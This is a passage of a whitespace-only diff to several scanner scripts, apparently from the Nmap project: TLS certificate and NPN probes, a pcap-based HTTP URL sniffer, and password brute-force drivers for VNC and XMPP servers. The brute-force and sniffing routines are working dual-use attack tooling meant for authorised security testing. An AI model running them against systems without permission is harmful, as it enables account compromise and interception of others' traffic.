now))) + end + end end diff --git a/scripts/ssl-known-key.nse b/scripts/ssl-known-key.nse index 975551223..df09c6bbe 100644 --- a/scripts/ssl-known-key.nse +++ b/scripts/ssl-known-key.nse @@ -47,90 +47,90 @@ categories = {"safe", "discovery", "vuln", "default"} local FINGERPRINT_FILE = "ssl-fingerprints" local get_fingerprints = function(path) - -- Check registry for cached fingerprints. - if nmap.registry.ssl_fingerprints then - stdnse.print_debug(2, "Using cached SSL fingerprints.") - return true, nmap.registry.ssl_fingerprints - end + -- Check registry for cached fingerprints. + if nmap.registry.ssl_fingerprints then + stdnse.print_debug(2, "Using cached SSL fingerprints.") + return true, nmap.registry.ssl_fingerprints + end - -- Attempt to resolve path if it is relative. - local full_path = nmap.fetchfile("nselib/data/" .. path) - if not full_path then - full_path = path - end - stdnse.print_debug(2, "Loading SSL fingerprints from %s.", full_path) + -- Attempt to resolve path if it is relative. + local full_path = nmap.fetchfile("nselib/data/" .. path) + if not full_path then + full_path = path + end + stdnse.print_debug(2, "Loading SSL fingerprints from %s.", full_path) - -- Open database. - local file = io.open(full_path, "r") - if not file then - return false, "Failed to open file " .. full_path - end + -- Open database. + local file = io.open(full_path, "r") + if not file then + return false, "Failed to open file " .. full_path + end - -- Parse database. - local section = nil - local fingerprints = {} - for line in file:lines() do - line = line:gsub("#.*", "") - line = line:gsub("^%s*", "") - line = line:gsub("%s*$", "") - if line ~= "" then - if line:sub(1,1) == "[" then - -- Start a new section. - line = line:sub(2, #line - 1) - stdnse.print_debug(4, "Starting new section %s.", line) - section = line - elseif section ~= nil then - -- Add fingerprint to section. - local fingerprint = bin.pack("H", line) - if #fingerprint == 20 then - fingerprints[fingerprint] = section - stdnse.print_debug(4, "Added key %s to database.", line) - else - stdnse.print_debug(0, "Cannot parse presumed fingerprint %q in section %q.", line, section) - end - else - -- Key found outside of section. - stdnse.print_debug(1, "Key %s is not in a section.", line) - end - end - end + -- Parse database. + local section = nil + local fingerprints = {} + for line in file:lines() do + line = line:gsub("#.*", "") + line = line:gsub("^%s*", "") + line = line:gsub("%s*$", "") + if line ~= "" then + if line:sub(1,1) == "[" then + -- Start a new section. + line = line:sub(2, #line - 1) + stdnse.print_debug(4, "Starting new section %s.", line) + section = line + elseif section ~= nil then + -- Add fingerprint to section. + local fingerprint = bin.pack("H", line) + if #fingerprint == 20 then + fingerprints[fingerprint] = section + stdnse.print_debug(4, "Added key %s to database.", line) + else + stdnse.print_debug(0, "Cannot parse presumed fingerprint %q in section %q.", line, section) + end + else + -- Key found outside of section. + stdnse.print_debug(1, "Key %s is not in a section.", line) + end + end + end - -- Close database. - file:close() + -- Close database. + file:close() - -- Cache fingerprints in registry for future runs. - nmap.registry.ssl_fingerprints = fingerprints + -- Cache fingerprints in registry for future runs. + nmap.registry.ssl_fingerprints = fingerprints - return true, fingerprints + return true, fingerprints end portrule = shortport.ssl action = function(host, port) - -- Get script arguments. - local path = stdnse.get_script_args("ssl-known-key.fingerprintfile") or FINGERPRINT_FILE - local status, result = get_fingerprints(path) - if not status then - stdnse.print_debug(1, result) - return - end - local fingerprints = result + -- Get script arguments. + local path = stdnse.get_script_args("ssl-known-key.fingerprintfile") or FINGERPRINT_FILE + local status, result = get_fingerprints(path) + if not status then + stdnse.print_debug(1, result) + return + end + local fingerprints = result - -- Get SSL certificate. - local status, cert = sslcert.getCertificate(host, port) - if not status then - stdnse.print_debug(1, "sslcert.getCertificate error: %s", cert) - return - end - local fingerprint = cert:digest("sha1") - local fingerprint_fmt = stdnse.tohex(fingerprint, {separator=" ", group=4}) + -- Get SSL certificate. + local status, cert = sslcert.getCertificate(host, port) + if not status then + stdnse.print_debug(1, "sslcert.getCertificate error: %s", cert) + return + end + local fingerprint = cert:digest("sha1") + local fingerprint_fmt = stdnse.tohex(fingerprint, {separator=" ", group=4}) - -- Check SSL fingerprint against database. - local section = fingerprints[fingerprint] - if not section then - stdnse.print_debug(2, "%s was not in the database.", fingerprint_fmt) - return - end + -- Check SSL fingerprint against database. + local section = fingerprints[fingerprint] + if not section then + stdnse.print_debug(2, "%s was not in the database.", fingerprint_fmt) + return + end - return {section=section, sha1=stdnse.tohex(fingerprint)}, "Found in " .. section .. " (SHA-1: " .. fingerprint_fmt .. ")" + return {section=section, sha1=stdnse.tohex(fingerprint)}, "Found in " .. section .. " (SHA-1: " .. fingerprint_fmt .. ")" end diff --git a/scripts/targets-sniffer.nse b/scripts/targets-sniffer.nse index c411d374e..be4d0aa56 100644 --- a/scripts/targets-sniffer.nse +++ b/scripts/targets-sniffer.nse @@ -70,7 +70,7 @@ end prerule = function() return nmap.is_privileged() and - (stdnse.get_script_args("targets-sniffer.iface") or nmap.get_interface()) + (stdnse.get_script_args("targets-sniffer.iface") or nmap.get_interface()) end diff --git a/scripts/tls-nextprotoneg.nse b/scripts/tls-nextprotoneg.nse index 567c6405b..eef78b452 100644 --- a/scripts/tls-nextprotoneg.nse +++ b/scripts/tls-nextprotoneg.nse @@ -51,94 +51,94 @@ portrule = shortport.ssl --@return status true if response, false else. --@return response if status is true. local client_hello = function(host, port) - local sock, status, response, err, cli_h + local sock, status, response, err, cli_h - cli_h = tls.client_hello({ - ["protocol"] = "TLSv1.0", - ["ciphers"] = { - "TLS_ECDHE_RSA_WITH_RC4_128_SHA", - "TLS_DHE_RSA_WITH_AES_256_CBC_SHA", - "TLS_RSA_WITH_RC4_128_MD5", - }, - ["compressors"] = {"NULL"}, - ["extensions"] = { - ["next_protocol_negotiation"] = "", - }, - }) + cli_h = tls.client_hello({ + ["protocol"] = "TLSv1.0", + ["ciphers"] = { + "TLS_ECDHE_RSA_WITH_RC4_128_SHA", + "TLS_DHE_RSA_WITH_AES_256_CBC_SHA", + "TLS_RSA_WITH_RC4_128_MD5", + }, + ["compressors"] = {"NULL"}, + ["extensions"] = { + ["next_protocol_negotiation"] = "", + }, + }) - -- Connect to the target server - sock = nmap.new_socket() - sock:set_timeout(5000) - status, err = sock:connect(host, port) - if not status then - sock:close() - stdnse.print_debug("Can't send: %s", err) - return false - end + -- Connect to the target server + sock = nmap.new_socket() + sock:set_timeout(5000) + status, err = sock:connect(host, port) + if not status then + sock:close() + stdnse.print_debug("Can't send: %s", err) + return false + end - -- Send Client Hello to the target server - status, err = sock:send(cli_h) - if not status then - stdnse.print_debug("Couldn't send: %s", err) - sock:close() - return false - end + -- Send Client Hello to the target server + status, err = sock:send(cli_h) + if not status then + stdnse.print_debug("Couldn't send: %s", err) + sock:close() + return false + end - -- Read response - status, response, err = tls.record_buffer(sock) - if not status then - stdnse.print_debug("Couldn't receive: %s", err) - sock:close() - return false - end + -- Read response + status, response, err = tls.record_buffer(sock) + if not status then + stdnse.print_debug("Couldn't receive: %s", err) + sock:close() + return false + end - return true, response + return true, response end --- Function that checks for the returned protocols to a npn extension request. --@args response Response to parse. --@return results List of found protocols. local check_npn = function(response) - local i, record = tls.record_read(response, 0) - if record == nil then - stdnse.print_debug("%s: Unknown response from server", SCRIPT_NAME) + local i, record = tls.record_read(response, 0) + if record == nil then + stdnse.print_debug("%s: Unknown response from server", SCRIPT_NAME) + return nil + end + + if record.type == "handshake" and record.body[1].type == "server_hello" then + if record.body[1].extensions == nil then + stdnse.print_debug("%s: Server does not support TLS NPN extension.", SCRIPT_NAME) return nil end - - if record.type == "handshake" and record.body[1].type == "server_hello" then - if record.body[1].extensions == nil then - stdnse.print_debug("%s: Server does not support TLS NPN extension.", SCRIPT_NAME) - return nil - end - local results = {} - local npndata = record.body[1].extensions["next_protocol_negotiation"] - if npndata == nil then - stdnse.print_debug("%s: Server does not support TLS NPN extension.", SCRIPT_NAME) - return nil - end - -- Parse data - i = 0 - local protocol - while i < #npndata do - i, protocol = bin.unpack(">p", npndata, i) - table.insert(results, protocol) - end - - return results - else - stdnse.print_debug("%s: Server response was not server_hello", SCRIPT_NAME) + local results = {} + local npndata = record.body[1].extensions["next_protocol_negotiation"] + if npndata == nil then + stdnse.print_debug("%s: Server does not support TLS NPN extension.", SCRIPT_NAME) return nil end + -- Parse data + i = 0 + local protocol + while i < #npndata do + i, protocol = bin.unpack(">p", npndata, i) + table.insert(results, protocol) + end + + return results + else + stdnse.print_debug("%s: Server response was not server_hello", SCRIPT_NAME) + return nil + end end action = function(host, port) - local status, response + local status, response - -- Send crafted client hello - status, response = client_hello(host, port) - if status and response then - -- Analyze response - local results = check_npn(response) - return results - end + -- Send crafted client hello + status, response = client_hello(host, port) + if status and response then + -- Analyze response + local results = check_npn(response) + return results + end end diff --git a/scripts/url-snarf.nse b/scripts/url-snarf.nse index bb3bae66c..83387f0ab 100644 --- a/scripts/url-snarf.nse +++ b/scripts/url-snarf.nse @@ -39,51 +39,51 @@ categories = {"safe"} local arg_iface = nmap.get_interface() or stdnse.get_script_args(SCRIPT_NAME .. ".interface") prerule = function() - local has_interface = ( arg_iface ~= nil ) - if not nmap.is_privileged() then - stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME) - return false - end - if ( not(has_interface) ) then - stdnse.print_verbose("%s no network interface was supplied, aborting ...", SCRIPT_NAME) - return false - end - return true + local has_interface = ( arg_iface ~= nil ) + if not nmap.is_privileged() then + stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME) + return false + end + if ( not(has_interface) ) then + stdnse.print_verbose("%s no network interface was supplied, aborting ...", SCRIPT_NAME) + return false + end + return true end -- we should probably leverage code from the http library, but those functions -- are all declared local. local function get_url(data) - local headers, body = table.unpack(stdnse.strsplit("\r\n\r\n", data)) - if ( not(headers) ) then - return - end - headers = stdnse.strsplit("\r\n", headers) - if ( not(headers) or 1 > #headers ) then - return - end - local parsed = {} - parsed.path = headers[1]:match("^[^s%s]+ ([^%s]*) HTTP/1%.%d$") - if ( not(parsed.path) ) then - return - end - for _, v in ipairs(headers) do - parsed.host, parsed.port = v:match("^Host: (.*):?(%d?)$") - if ( parsed.host ) then - break - end - end - if ( not(parsed.host) ) then - return - end - parsed.port = ( #parsed.port ~= 0 ) and parsed.port or nil - parsed.scheme = "http" - local u = url.build(parsed) - if ( not(u) ) then - return - end - return u + local headers, body = table.unpack(stdnse.strsplit("\r\n\r\n", data)) + if ( not(headers) ) then + return + end + headers = stdnse.strsplit("\r\n", headers) + if ( not(headers) or 1 > #headers ) then + return + end + local parsed = {} + parsed.path = headers[1]:match("^[^s%s]+ ([^%s]*) HTTP/1%.%d$") + if ( not(parsed.path) ) then + return + end + for _, v in ipairs(headers) do + parsed.host, parsed.port = v:match("^Host: (.*):?(%d?)$") + if ( parsed.host ) then + break + end + end + if ( not(parsed.host) ) then + return + end + parsed.port = ( #parsed.port ~= 0 ) and parsed.port or nil + parsed.scheme = "http" + local u = url.build(parsed) + if ( not(u) ) then + return + end + return u end local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout")) @@ -92,54 +92,54 @@ local arg_nostdout= stdnse.get_script_args(SCRIPT_NAME..".nostdout") local arg_outfile = stdnse.get_script_args(SCRIPT_NAME..".outfile") local function log_entry(src_ip, url) - local outfd = io.open(arg_outfile, "a") - if ( outfd ) then - local entry = ("%s\t%s\r\n"):format(src_ip, url) - outfd:write(entry) - outfd:close() - end + local outfd = io.open(arg_outfile, "a") + if ( outfd ) then + local entry = ("%s\t%s\r\n"):format(src_ip, url) + outfd:write(entry) + outfd:close() + end end action = function() - local counter = 0 + local counter = 0 - if ( arg_outfile ) then - local outfd = io.open(arg_outfile, "a") - if ( not(outfd) ) then - return ("\n ERROR: Failed to open outfile (%s)"):format(arg_outfile) - end - outfd:close() - end + if ( arg_outfile ) then + local outfd = io.open(arg_outfile, "a") + if ( not(outfd) ) then + return ("\n ERROR: Failed to open outfile (%s)"):format(arg_outfile) + end + outfd:close() + end - local socket = nmap.new_socket() - socket:set_timeout(1000) - socket:pcap_open(arg_iface, 1500, true, "tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)") + local socket = nmap.new_socket() + socket:set_timeout(1000) + socket:pcap_open(arg_iface, 1500, true, "tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)") - local start, stop = os.time() - repeat - local status, len, _, l3 = socket:pcap_receive() - if ( status ) then - local p = packet.Packet:new( l3, #l3 ) - local pos = p.tcp_data_offset + 1 - local http_data = p.buf:sub(pos) + local start, stop = os.time() + repeat + local status, len, _, l3 = socket:pcap_receive() + if ( status ) then + local p = packet.Packet:new( l3, #l3 ) + local pos = p.tcp_data_offset + 1 + local http_data = p.buf:sub(pos) - local url = get_url(http_data) - if ( url ) then - counter = counter + 1 - if ( not(arg_nostdout) ) then - print(p.ip_src, url) - end - if ( arg_outfile ) then - log_entry(p.ip_src, url) - end - end - end - if ( arg_timeout and arg_timeout > 0 and arg_timeout <= os.time() - start ) then - stop = os.time() - break - end - until(false) - if ( counter > 0 ) then - return ("\n Sniffed %d URLs in %d seconds"):format(counter, stop - start) - end + local url = get_url(http_data) + if ( url ) then + counter = counter + 1 + if ( not(arg_nostdout) ) then + print(p.ip_src, url) + end + if ( arg_outfile ) then + log_entry(p.ip_src, url) + end + end + end + if ( arg_timeout and arg_timeout > 0 and arg_timeout <= os.time() - start ) then + stop = os.time() + break + end + until(false) + if ( counter > 0 ) then + return ("\n Sniffed %d URLs in %d seconds"):format(counter, stop - start) + end end diff --git a/scripts/vnc-brute.nse b/scripts/vnc-brute.nse index c04c551e7..76bc4a168 100644 --- a/scripts/vnc-brute.nse +++ b/scripts/vnc-brute.nse @@ -41,106 +41,106 @@ portrule = shortport.port_or_service(5901, "vnc", "tcp", "open") Driver = { - new = function(self, host, port) - local o = {} - setmetatable(o, self) - self.__index = self - o.host = host - o.port = port - return o - end, + new = function(self, host, port) + local o = {} + setmetatable(o, self) + self.__index = self + o.host = host + o.port = port + return o + end, - connect = function( self ) - local status, data - self.vnc = vnc.VNC:new( self.host.ip, self.port.number ) - status, data = self.vnc:connect() - if ( not(status) ) then - local err = brute.Error:new( "VNC connect failed" ) - -- This might be temporary, set the retry flag - err:setRetry( true ) - return false, err - end - return true - end, - --- Attempts to login to the VNC server - -- - -- @param username string containing the login username - -- @param password string containing the login password - -- @return status, true on success, false on failure - -- @return brute.Error object on failure - -- brute.Account object on success - login = function( self, username, password ) + connect = function( self ) + local status, data + self.vnc = vnc.VNC:new( self.host.ip, self.port.number ) + status, data = self.vnc:connect() + if ( not(status) ) then + local err = brute.Error:new( "VNC connect failed" ) + -- This might be temporary, set the retry flag + err:setRetry( true ) + return false, err + end + return true + end, + --- Attempts to login to the VNC server + -- + -- @param username string containing the login username + -- @param password string containing the login password + -- @return status, true on success, false on failure + -- @return brute.Error object on failure + -- brute.Account object on success + login = function( self, username, password ) - local status, data = self.vnc:handshake() - if ( not(status) and ( data:match("Too many authentication failures") or - data:match("Your connection has been rejected.") ) ) then - local err = brute.Error:new( data ) - err:setAbort( true ) - return false, err - elseif ( not(status) ) then - local err = brute.Error:new( "VNC handshake failed" ) - -- This might be temporary, set the retry flag - err:setRetry( true ) - return false, err - end + local status, data = self.vnc:handshake() + if ( not(status) and ( data:match("Too many authentication failures") or + data:match("Your connection has been rejected.") ) ) then + local err = brute.Error:new( data ) + err:setAbort( true ) + return false, err + elseif ( not(status) ) then + local err = brute.Error:new( "VNC handshake failed" ) + -- This might be temporary, set the retry flag + err:setRetry( true ) + return false, err + end - status, data = self.vnc:login( nil, password ) + status, data = self.vnc:login( nil, password ) - if ( status ) then - return true, brute.Account:new("", password, creds.State.VALID) - elseif ( not( data:match("Authentication failed") ) ) then - local err = brute.Error:new( data ) - -- This might be temporary, set the retry flag - err:setRetry( true ) - return false, err - end + if ( status ) then + return true, brute.Account:new("", password, creds.State.VALID) + elseif ( not( data:match("Authentication failed") ) ) then + local err = brute.Error:new( data ) + -- This might be temporary, set the retry flag + err:setRetry( true ) + return false, err + end - return false, brute.Error:new( "Incorrect password" ) + return false, brute.Error:new( "Incorrect password" ) - end, + end, - disconnect = function( self ) - self.vnc:disconnect() - end, + disconnect = function( self ) + self.vnc:disconnect() + end, - check = function( self ) - local vnc = vnc.VNC:new( self.host.ip, self.port.number ) - local status, data + check = function( self ) + local vnc = vnc.VNC:new( self.host.ip, self.port.number ) + local status, data - status, data = vnc:connect() - if ( not(status) ) then - return stdnse.format_output( false, data ) - end + status, data = vnc:connect() + if ( not(status) ) then + return stdnse.format_output( false, data ) + end - status, data = vnc:handshake() - if ( not(status) ) then - return stdnse.format_output( false, data ) - end + status, data = vnc:handshake() + if ( not(status) ) then + return stdnse.format_output( false, data ) + end - if ( vnc:supportsSecType(vnc.sectypes.NONE) ) then - return false, "No authentication required" - end + if ( vnc:supportsSecType(vnc.sectypes.NONE) ) then + return false, "No authentication required" + end - status, data = vnc:login( nil, "is_sec_mec_supported?" ) - if ( data:match("The server does not support.*security type") ) then - return stdnse.format_output( false, " \n " .. data ) - end + status, data = vnc:login( nil, "is_sec_mec_supported?" ) + if ( data:match("The server does not support.*security type") ) then + return stdnse.format_output( false, " \n " .. data ) + end - return true - end, + return true + end, } action = function(host, port) - local status, result - local engine = brute.Engine:new(Driver, host, port ) + local status, result + local engine = brute.Engine:new(Driver, host, port ) - engine.options.script_name = SCRIPT_NAME - engine.options.firstonly = true - engine.options:setOption( "passonly", true ) + engine.options.script_name = SCRIPT_NAME + engine.options.firstonly = true + engine.options:setOption( "passonly", true ) - status, result = engine:start() + status, result = engine:start() - return result + return result end diff --git a/scripts/xmpp-brute.nse b/scripts/xmpp-brute.nse index 9e8a3c6b4..5990df531 100644 --- a/scripts/xmpp-brute.nse +++ b/scripts/xmpp-brute.nse @@ -47,94 +47,94 @@ ConnectionPool = {} Driver = { - -- Creates a new driver instance - -- @param host table as received by the action method - -- @param port table as received by the action method - -- @param pool an instance of the ConnectionPool - new = function(self, host, port, options ) - local o = { host = host, port = port, options = options } - setmetatable(o, self) - self.__index = self - return o - end, + -- Creates a new driver instance + -- @param host table as received by the action method + -- @param port table as received by the action method + -- @param pool an instance of the ConnectionPool + new = function(self, host, port, options ) + local o = { host = host, port = port, options = options } + setmetatable(o, self) + self.__index = self + return o + end, - -- Connects to the server (retrieves a connection from the pool) - connect = function( self ) - self.helper = ConnectionPool[coroutine.running()] - if ( not(self.helper) ) then - self.helper = xmpp.Helper:new( self.host, self.port, self.options ) - local status, err = self.helper:connect() - if ( not(status) ) then return false, err end - ConnectionPool[coroutine.running()] = self.helper - end - return true - end, + -- Connects to the server (retrieves a connection from the pool) + connect = function( self ) + self.helper = ConnectionPool[coroutine.running()] + if ( not(self.helper) ) then + self.helper = xmpp.Helper:new( self.host, self.port, self.options ) + local status, err = self.helper:connect() + if ( not(status) ) then return false, err end + ConnectionPool[coroutine.running()] = self.helper + end + return true + end, - -- Attempts to login to the server - -- @param username string containing the username - -- @param password string containing the password - -- @return status true on success, false on failure - -- @return brute.Error on failure and brute.Account on success - login = function( self, username, password ) - local status, err = self.helper:login( username, password, mech ) - if ( status ) then - self.helper:close() - self.helper:connect() - return true, brute.Account:new(username, password, creds.State.VALID) - end - if ( err:match("^ERROR: Failed to .* data$") ) then - self.helper:close() - self.helper:connect() - local err = brute.Error:new( err ) - -- This might be temporary, set the retry flag - err:setRetry( true ) - return false, err - end - return false, brute.Error:new( "Incorrect password" ) - end, + -- Attempts to login to the server + -- @param username string containing the username + -- @param password string containing the password + -- @return status true on success, false on failure + -- @return brute.Error on failure and brute.Account on success + login = function( self, username, password ) + local status, err = self.helper:login( username, password, mech ) + if ( status ) then + self.helper:close() + self.helper:connect() + return true, brute.Account:new(username, password, creds.State.VALID) + end + if ( err:match("^ERROR: Failed to .* data$") ) then + self.helper:close() + self.helper:connect() + local err = brute.Error:new( err ) + -- This might be temporary, set the retry flag + err:setRetry( true ) + return false, err + end + return false, brute.Error:new( "Incorrect password" ) + end, - -- Disconnects from the server (release the connection object back to - -- the pool) - disconnect = function( self ) - return true - end, + -- Disconnects from the server (release the connection object back to + -- the pool) + disconnect = function( self ) + return true + end, } action = function(host, port) - local options = { servername = stdnse.get_script_args("xmpp-brute.servername") } - local helper = xmpp.Helper:new(host, port, options) - local status, err = helper:connect() - if ( not(status) ) then - return "\n ERROR: Failed to connect to XMPP server" - end + local options = { servername = stdnse.get_script_args("xmpp-brute.servername") } + local helper = xmpp.Helper:new(host, port, options) + local status, err = helper:connect() + if ( not(status) ) then + return "\n ERROR: Failed to connect to XMPP server" + end - local mechs = helper:getAuthMechs() - if ( not(mechs) ) then - return "\n ERROR: Failed to retreive authentication mechs from XMPP server" - end + local mechs = helper:getAuthMechs() + if ( not(mechs) ) then + return "\n ERROR: Failed to retreive authentication mechs from XMPP server" + end - local mech_prio = stdnse.get_script_args("xmpp-brute.auth") - mech_prio = ( mech_prio and { mech_prio } ) or { "PLAIN", "LOGIN", "CRAM-MD5", "DIGEST-MD5"} + local mech_prio = stdnse.get_script_args("xmpp-brute.auth") + mech_prio = ( mech_prio and { mech_prio } ) or { "PLAIN", "LOGIN", "CRAM-MD5", "DIGEST-MD5"} - for _, mp in ipairs(mech_prio) do - for m, _ in pairs(mechs) do - if ( mp == m ) then mech = m; break end - end - if ( mech ) then break end - end + for _, mp in ipairs(mech_prio) do + for m, _ in pairs(mechs) do + if ( mp == m ) then mech = m; break end + end + if ( mech ) then break end + end - if ( not(mech) ) then - return "\n ERROR: Failed to find suitable authentication mechanism" - end + if ( not(mech) ) then + return "\n ERROR: Failed to find suitable authentication mechanism" + end - local engine = brute.Engine:new(Driver, host, port, options) - engine.options.script_name = SCRIPT_NAME - local result - status, result = engine:start() + local engine = brute.Engine:new(Driver, host, port, options) + engine.options.script_name = SCRIPT_NAME + local result + status, result = engine:start() - return result + return result end